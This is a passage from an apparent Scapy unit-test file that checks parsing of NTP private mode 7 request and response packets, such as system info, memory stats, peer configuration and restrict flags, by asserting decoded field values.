\\xc0\\xa8ze\\x00{\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 3\nassert isinstance(p.req_data[0], NTPInfoPeerList)\n\n\n= NTP Private (mode 7) - REQ_PEER_STATS (2) - response\ns = b'\\x97\\x00\\x03\\x03\\x00\\x01\\x00x\\xc0\\xa8zf\\xc0\\xa8ze\\x00{\\x00\\x01\\x01\\x00\\x10\\x06\\x00\\x00\\x00)\\x00\\x00\\x00\\x1e\\x00\\x02\\xda|\\x00\\x00\\x00\\xbc\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\nJ\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x07\\x00\\x00\\x00\\x00\\xde\\x7fB\\x89\\x00<\\x8d\\xc5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\n\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 3\nassert (isinstance(x, NTPInfoPeerStats) for x in p.data)\n\n\n= NTP Private (mode 7) - REQ_SYS_INFO (1) - request\ns = b'\\x17\\x00\\x03\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\n\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 4\n\n\n= NTP Private (mode 7) - REQ_SYS_INFO (2) - response\ns = b'\\x97\\x00\\x03\\x04\\x00\\x01\\x00P\\x7f\\x7f\\x01\\x00\\x03\\x00\\x0b\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x06\\x7f\\x7f\\x01\\x00\\xdb<\\xca\\xf3\\xa1\\x92\\xe1\\xf7\\x06\\x00\\x00\\x00\\xce\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x07\\x00\\x00\\x00\\x00\\xde\\x7fB\\x89\\x00<\\x8d\\xc5'\np = NTP(s)\n\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 4\nassert isinstance(p.data[0], NTPInfoSys)\nassert p.data[0].peer == \"127.127.1.0\"\nassert p.data[0].peer_mode == 3\nassert p.data[0].leap == 0\nassert p.data[0].stratum == 11\nassert p.data[0].precision == -16\nassert p.data[0].refid == \"127.127.1.0\"\n\n\n= NTP Private (mode 7) - REQ_SYS_STATS (1) - request\ns = b'\\x17\\x00\\x03\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 5\n\n\n= NTP Private (mode 7) - REQ_SYS_STATS (2) - response\ns = b'\\x97\\x00\\x03\\x05\\x00\\x01\\x00,\\x00\\x02\\xe2;\\x00\\x02\\xe2;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b%\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b%\\x00\\x00\\x00\\x00\\x00\\x00\\x0b=\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 5\nassert isinstance(p.data[0], NTPInfoSysStats)\nassert p.data[0].timeup == 188987\nassert p.data[0].received == 2877\n\n\n= NTP Private (mode 7) - REQ_IO_STATS (1) - request\ns = b'\\x17\\x00\\x03\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 6\n\n\n= NTP Private (mode 7) - REQ_IO_STATS (2) - response\ns = b'\\x97\\x00\\x03\\x06\\x00\\x01\\x00(\\x00\\x00\\x03\\x04\\x00\\n\\x00\\t\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00J\\x00\\x00\\x00\\xd9\\x00\\x00\\x00\\x00\\x00\\x00\\x00J\\x00\\x00\\x00J'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 6\nassert p.data[0].timereset == 772\nassert p.data[0].sent == 217\n\n\n= NTP Private (mode 7) - REQ_MEM_STATS (1) - request\ns = b'\\x17\\x00\\x03\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 7\n\n\n= NTP Private (mode 7) - REQ_MEM_STATS (2) - response\ns = b'\\x97\\x00\\x03\\x07\\x00\\x01\\x00\\x94\\x00\\x00\\n\\xee\\x00\\x0f\\x00\\r\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 7\nassert p.data[0].timereset == 2798\nassert p.data[0].totalpeermem == 15\nassert p.data[0].freepeermem == 13\nassert p.data[0].findpeer_calls == 60\nassert p.data[0].hashcount[25] == 1 and p.data[0].hashcount[89] == 1\n\n\n= NTP Private (mode 7) - REQ_LOOP_INFO (1) - request\ns = b'\\x17\\x00\\x03\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 8\n\n\n= NTP Private (mode 7) - REQ_LOOP_INFO (2) - response\ns = b'\\x97\\x00\\x03\\x08\\x00\\x01\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x04'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 8\nassert p.data[0].last_offset == 0.0\nassert p.data[0].watchdog_timer == 4\n\n\n\n= NTP Private (mode 7) - REQ_TIMER_STATS (1) - request\ns = b'\\x17\\x00\\x03\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 9\n\n\n= NTP Private (mode 7) - REQ_TIMER_STATS (2) - response\ns = b'\\x97\\x00\\x03\\t\\x00\\x01\\x00\\x10\\x00\\x00\\x01h\\x00\\x00\\x01h\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 9\nassert p.data[0].timereset == 360\nassert p.data[0].alarms == 360\n\n\n= NTP Private (mode 7) - REQ_CONFIG (1) - request\ns = b'\\x17\\x80\\x03\\n\\x00\\x01\\x00\\xa8\\xc0\\xa8zm\\x01\\x03\\x06\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xec\\x93\\xb1\\xa8\\xa0a\\x00\\x00\\x00\\x01Z\\xba\\xfe\\x01\\x1cr\\x05d\\xa1\\x14\\xb1)\\xe9vD\\x8d'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 10\nassert p.nb_items == 1\nassert p.data_item_size == 168\nassert hasattr(p, 'req_data')\nassert isinstance(p.req_data[0], NTPConfPeer)\nassert p.req_data[0].peeraddr == \"192.168.122.109\"\nassert p.req_data[0].hmode == 1\nassert p.req_data[0].version == 3\nassert p.req_data[0].minpoll == 6\nassert p.req_data[0].maxpoll == 10\nassert hasattr(p, 'authenticator')\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'5abafe011c720564a114b129e976448d'\n\n\n= NTP Private (mode 7) - REQ_CONFIG (2) - response\ns = b'\\x97\\x00\\x03\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 10\nassert p.err == 0\nassert p.nb_items == 0\nassert p.data_item_size == 0\n\n\n= NTP Private (mode 7) - REQ_UNCONFIG (1) - request\ns = b'\\x17\\x80\\x03\\x0b\\x00\\x01\\x00\\x18\\xc0\\xa8zk\\x00\\x00\\x00\\x00X\\x88P\\xb1\\xff\\x7f\\x00\\x008\\x88P\\xb1\\xff\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xf0\\x1bq\\xc8\\xe5\\xa6\\x00\\x00\\x00\\x01\\x1dM;\\xfeZ~]Z\\xe3Ea\\x92\\x9aE\\xd8%'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 11\nassert p.nb_items == 1\nassert p.data_item_size == 24\nassert hasattr(p, 'req_data')\nassert isinstance(p.req_data[0], NTPConfUnpeer)\nassert p.req_data[0].peeraddr == \"192.168.122.107\"\nassert p.req_data[0].v6_flag == 0\nassert hasattr(p, 'authenticator')\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'1d4d3bfe5a7e5d5ae34561929a45d825'\n\n\n= NTP Private (mode 7) - REQ_UNCONFIG (2) - response\ns = b'\\x97\\x00\\x03\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 11\nassert p.err == 0\nassert p.nb_items == 0\nassert p.data_item_size == 0\n\n\n= NTP Private (mode 7) - REQ_RESADDFLAGS (1) - request\ns = b'\\x17\\x80\\x03\\x11\\x00\\x01\\x000\\xc0\\xa8zi\\xff\\xff\\xff\\xff\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xf0V\\xa9\"\\xe6_\\x00\\x00\\x00\\x01>=\\xb70Tp\\xee\\xae\\xe1\\xad4b\\xef\\xe3\\x80\\xc8'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 17\nassert p.nb_items == 1\nassert p.data_item_size == 48\nassert hasattr(p, 'req_data')\nassert isinstance(p.req_data[0], NTPConfRestrict)\nassert p.req_data[0].addr == \"192.168.122.105\"\nassert p.req_data[0].mask == \"255.255.255.255\"\nassert hasattr(p, 'authenticator')\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'3e3db7305470eeaee1ad3462efe380c8'\n\n\n= NTP Private (mode 7) - REQ_RESSUBFLAGS (1) - request\ns = b'\\x17\\x80\\x03\\x12\\x00\\x01\\x000\\xc0\\xa8zi\\xff\\xff\\xff\\xff\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xf0F\\xe0C\\xa9@\\x00\\x00\\x00\\x01>e\\r\\xdf\\xdb\\x1e1h\\xd0\\xca)L\\x07k\\x90\\n'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 18\nassert p.nb_items == 1\nassert p.data_item_size == 48\nassert hasattr(p, 'req_data')\nassert isinstance(p.req_data[0], NTPConfRestrict)\nassert p.req_data[0].addr == \"192.168.122.105\"\nassert p.req_data[0].mask == \"255.255.255.255\"\nassert hasattr(p, 'authenticator')\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'3e650ddfdb1e3168d0ca294c076b900a'\n\n\n= NTP Private (mode 7) - REQ_RESET_PEER (1) - request\ns = 